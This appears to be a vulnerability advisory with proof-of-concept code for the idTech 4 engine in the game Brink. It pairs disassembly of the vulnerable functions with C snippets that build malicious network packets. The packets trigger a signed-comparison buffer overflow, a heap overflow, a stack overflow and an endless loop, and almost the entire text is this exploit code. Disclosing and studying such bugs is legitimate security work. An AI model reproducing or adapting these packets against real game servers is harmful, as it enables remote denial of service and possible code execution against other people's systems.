idTech 4 engine (Brink 1.0.23692.48133) multiple vulnerabilities |
Proof-of-concept code aluigi.org/poc/brink_1.zip |
0070BE10 /PUSH EBX 0070BE11 |MOV EBX,DWORD PTR SS:[ESP+C] ; our 32bit size 0070BE15 |PUSH ESI 0070BE16 |MOV ESI,ECX 0070BE18 |MOV EAX,DWORD PTR DS:[ESI+C] 0070BE1B |PUSH EDI 0070BE1C |MOV EDI,DWORD PTR DS:[ESI+14] 0070BE1F |LEA ECX,DWORD PTR DS:[EDI+EBX] ; integer overflow, EDI 0x1b 0070BE22 |CMP ECX,EAX ; EAX is the packet size 0070BE24 |MOV DWORD PTR DS:[ESI+18],0 0070BE2B |JLE SHORT brink.0070BE55 ; signed comparison ... 0070BE55 |MOV EAX,DWORD PTR SS:[ESP+10] 0070BE59 |TEST EAX,EAX 0070BE5B |JE SHORT brink.0070BE6D 0070BE5D |MOV ECX,DWORD PTR DS:[ESI+4] 0070BE60 |PUSH EBX ; /n 0070BE61 |ADD ECX,EDI ; | 0070BE63 |PUSH ECX ; |src 0070BE64 |PUSH EAX ; |dest 0070BE65 |CALL <JMP.&MSVCR90.memcpy> ; \memcpy |
// buffer-overflow caused by signed comparison b = 0; b = write_bits(-1, 16, buff, b); b = write_bstr("challenge", -1, 0, buff, b); b = write_bits(client_challenge, 16, buff, b); b = write_bits(1, 1, buff, b); b = write_bits(0x11111111, 32, buff, b); // 64bit AuthPeer b = write_bits(0x11111111, 32, buff, b); b = write_bits(-1, 32, buff, b); // <= BUG here b = BITPAD * 8; while(BITPAD < (BUFFSZ - 1)) { b = write_bits('a', 8, buff, b); } |
0070BE10 /PUSH EBX 0070BE11 |MOV EBX,DWORD PTR SS:[ESP+C] ; our 32bit size 0070BE15 |PUSH ESI 0070BE16 |MOV ESI,ECX 0070BE18 |MOV EAX,DWORD PTR DS:[ESI+C] 0070BE1B |PUSH EDI 0070BE1C |MOV EDI,DWORD PTR DS:[ESI+14] 0070BE1F |LEA ECX,DWORD PTR DS:[EDI+EBX] 0070BE22 |CMP ECX,EAX 0070BE24 |MOV DWORD PTR DS:[ESI+18],0 0070BE2B |JLE SHORT brink.0070BE55 0070BE2D |MOV ECX,DWORD PTR SS:[ESP+10] 0070BE31 |TEST ECX,ECX 0070BE33 |JE SHORT brink.0070BE47 0070BE35 |MOV EDX,DWORD PTR DS:[ESI+4] 0070BE38 |SUB EAX,EDI 0070BE3A |PUSH EAX ; /n 0070BE3B |ADD EDX,EDI ; | 0070BE3D |PUSH EDX ; |src 0070BE3E |PUSH ECX ; |dest 0070BE3F |CALL <JMP.&MSVCR90.memcpy> ; \memcpy |
// heap overflow b = 0; b = write_bits(-1, 16, buff, b); b = write_bstr("challenge", -1, 0, buff, b); b = write_bits(client_challenge, 16, buff, b); b = write_bits(1, 1, buff, b); b = write_bits(0x11111111, 32, buff, b); // 64bit AuthPeer b = write_bits(0x11111111, 32, buff, b); b = write_bits(0x000fffff, 32, buff, b); // <= BUG here b = BITPAD * 8; while(BITPAD < (BUFFSZ - 1)) { b = write_bits('a', 8, buff, b); } |
004CC8F0 PUSH 8 004CC8F2 LEA EDX,DWORD PTR SS:[ESP+38] 004CC8F6 PUSH EDX 004CC8F7 MOV ECX,ESI 004CC8F9 CALL brink.0070BE10 ... 0070BE10 /PUSH EBX 0070BE11 |MOV EBX,DWORD PTR SS:[ESP+C] ; our 32bit size 0070BE15 |PUSH ESI 0070BE16 |MOV ESI,ECX 0070BE18 |MOV EAX,DWORD PTR DS:[ESI+C] 0070BE1B |PUSH EDI 0070BE1C |MOV EDI,DWORD PTR DS:[ESI+14] 0070BE1F |LEA ECX,DWORD PTR DS:[EDI+EBX] 0070BE22 |CMP ECX,EAX 0070BE24 |MOV DWORD PTR DS:[ESI+18],0 0070BE2B |JLE SHORT brink.0070BE55 0070BE2D |MOV ECX,DWORD PTR SS:[ESP+10] 0070BE31 |TEST ECX,ECX 0070BE33 |JE SHORT brink.0070BE47 0070BE35 |MOV EDX,DWORD PTR DS:[ESI+4] 0070BE38 |SUB EAX,EDI ; 0x28 - 0x29 0070BE3A |PUSH EAX ; /n 0070BE3B |ADD EDX,EDI ; | 0070BE3D |PUSH EDX ; |src 0070BE3E |PUSH ECX ; |dest 0070BE3F |CALL <JMP.&MSVCR90.memcpy> ; \memcpy |
// stack overflow via small packet b = 0; b = write_bits(-1, 16, buff, b); b = write_bstr("connect", -1, 0, buff, b); b = write_bits(game_id, 32, buff, b); b = write_bits(0x11111111, 32, buff, b); b = write_bits(0x22222222, 16, buff, b); b = write_bits(0x33333333, 32, buff, b); b = write_bits(0x44444444, 32, buff, b); b = write_bstr("", 0x11, 0, buff, b); b = write_bits(0x66666666, 32, buff, b); b = write_bits(0x77777777, 32, buff, b); b = write_bstr("", 32, 1, buff, b); // fill the memory t = b; memset(buff, 'a', BUFFSZ); b = 0; b = write_bits(-1, 16, buff, b); b = write_bstr("getInfo", -1, 0, buff, b); write_bits(0, 16, buff, t); len = send_recv(sd, buff, BUFFSZ, NULL, 0, &peer, 1); |
0070BDB7 |PUSH 10 ; /Arg1 = 00000010 0070BDB9 |MOV DWORD PTR DS:[EDI+18],ESI ; | 0070BDBC |CALL brink.0070B6C0 ; \readbits 0070BDC1 |MOV EBX,DWORD PTR SS:[ESP+10] 0070BDC5 |MOVZX EAX,AX 0070BDC8 |CMP EAX,-1 0070BDCB |JE SHORT brink.0070BDF5 0070BDCD |PUSH EBP 0070BDCE |MOV EBP,DWORD PTR SS:[ESP+18] 0070BDD2 |/TEST AX,AX ; endless cycle 0070BDD5 ||JE SHORT brink.0070BDF4 0070BDD7 ||LEA ECX,DWORD PTR SS:[EBP-1] 0070BDDA ||CMP ESI,ECX 0070BDDC ||JGE SHORT brink.0070BDE3 0070BDDE ||MOV WORD PTR DS:[EBX+ESI*2],AX 0070BDE2 ||INC ESI 0070BDE3 ||PUSH 10 ; /Arg1 = 00000010 0070BDE5 ||MOV ECX,EDI ; | 0070BDE7 ||CALL brink.0070B6C0 ; \readbits 0070BDEC ||MOVZX EAX,AX ; that's the cause 0070BDEF ||CMP EAX,-1 0070BDF2 |\JNZ SHORT brink.0070BDD2 |
// endless loop in the reading of unicode strings b = 0; b = write_bits(-1, 16, buff, b); b = write_bstr("connect", -1, 0, buff, b); b = write_bits(game_id, 32, buff, b); b = write_bits(0x11111111, 32, buff, b); b = write_bits(0x22222222, 16, buff, b); b = write_bits(0x33333333, 32, buff, b); b = write_bits(0x44444444, 32, buff, b); b = write_bstr("", 0x11, 0, buff, b); b = write_bits(0x66666666, 32, buff, b); b = write_bits(0x77777777, 32, buff, b); // truncated packet, so readbits will return -1 forever |